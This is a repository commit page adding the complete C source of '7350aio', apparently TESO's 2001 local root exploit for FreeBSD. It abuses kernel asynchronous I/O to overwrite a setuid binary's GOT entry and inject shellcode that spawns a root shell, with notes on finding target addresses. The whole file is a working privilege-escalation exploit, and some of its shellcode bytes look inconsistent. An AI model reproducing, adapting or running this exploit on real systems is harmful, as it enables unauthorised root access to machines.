summaryrefslogtreecommitdiff
path: root/exploits/7350aio
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350aio
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350aio')
-rw-r--r--exploits/7350aio/7350aio.c117
1 files changed, 117 insertions, 0 deletions
diff --git a/exploits/7350aio/7350aio.c b/exploits/7350aio/7350aio.c
new file mode 100644
index 0000000..2333511
--- /dev/null
+++ b/exploits/7350aio/7350aio.c
@@ -0,0 +1,117 @@
1/* 7350aio - FreeBSD Local AIO Exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * (C) COPYRIGHT TESO Security, 2001
14 * All Rights Reserved
15 *
16 ***************************************************************************
17 * bug found by z 13/07/01
18 *
19 * "options VFS_AIO" must be in your kernel config, which is not enabled
20 * by default. Hopefully some day it will be :)
21 *
22 * get the GOT address of exit by doing:
23 * $ objdump --dynamic-reloc bin | grep exit
24 */
25
26#include <stdio.h>
27#include <stdlib.h>
28#include <sys/types.h>
29#include <sys/socket.h>
30#include <unistd.h>
31#include <aio.h>
32
33char code[]=
34 "\x31\xc0\x50\x50\xb0\x17\xcd\x80"
35 "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
36 "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"
37 "\x5c\x37\x87\xc9\xdf\x10\xbb\x23\xdb\x1a\xdd\x2f\x94\xef\x4d\xbb";
38
39unsigned long GOT = 0x0804fe20;
40char *execbin = "/usr/bin/passwd";
41
42int
43main (argc, argv)
44 int argc;
45 char **argv;
46{
47 int fds[2], sdf[2];
48 struct aiocb cb, cb2;
49 char buf[128], d;
50
51 if ((d = getopt (argc, argv, "g:e:")) != -1) {
52 switch (d) {
53 case 'g':
54 GOT = strtoul (optarg, NULL, 16);
55 break;
56 case 'e':
57 execbin = optarg;
58 break;
59 }
60 }
61
62 printf ("got address: %08lx\n", GOT);
63 printf ("executable: %s\n", execbin);
64 /*
65 * pipes are treated differently to sockets, with sockets the
66 * aiod gets notifyed, whereas with pipes the aiod starts
67 * immediately blocking in fo_read. This is a problem because
68 * after the execve the aiod is still using the old vmspace struct
69 * if you use pipes, which means the data doesnt actually get copied
70 */
71 if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
72 perror ("socketpair");
73 return (EXIT_FAILURE);
74 }
75
76 if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
77 perror ("socketpair");
78 return (EXIT_FAILURE);
79 }
80
81 if (fork() != 0) {
82 close (fds[0]);
83 close (sdf[0]);
84 memset (&cb, 0, sizeof(cb));
85 memset (&cb2, 0, sizeof(cb2));
86 cb.aio_fildes = fds[1];
87 cb.aio_offset = 0;
88 cb.aio_buf = (void *)GOT;
89 cb.aio_nbytes = 4;
90 cb.aio_sigevent.sigev_notify = SIGEV_NONE;
91
92 cb2.aio_fildes = sdf[1];
93 cb2.aio_offset = 0;
94 cb2.aio_buf = (void *)0xbfbfff80;
95 cb2.aio_nbytes = sizeof(code);
96 cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
97 if (aio_read (&cb2) < 0) {
98 perror ("aio_read");
99 return (EXIT_FAILURE);
100 }
101 if (aio_read (&cb) < 0) {
102 perror ("aio_read");
103 return (EXIT_FAILURE);
104 }
105 execl (execbin, "test", NULL);
106 } else {
107 close(fds[1]);
108 close(sdf[1]);
109 sleep(2);
110 printf ("writing\n");
111 write (sdf[0], code, sizeof(code));
112 *(unsigned int *)buf = 0xbfbfff80;
113 write (fds[0], buf, 4);
114 }
115 return (EXIT_SUCCESS);
116}
117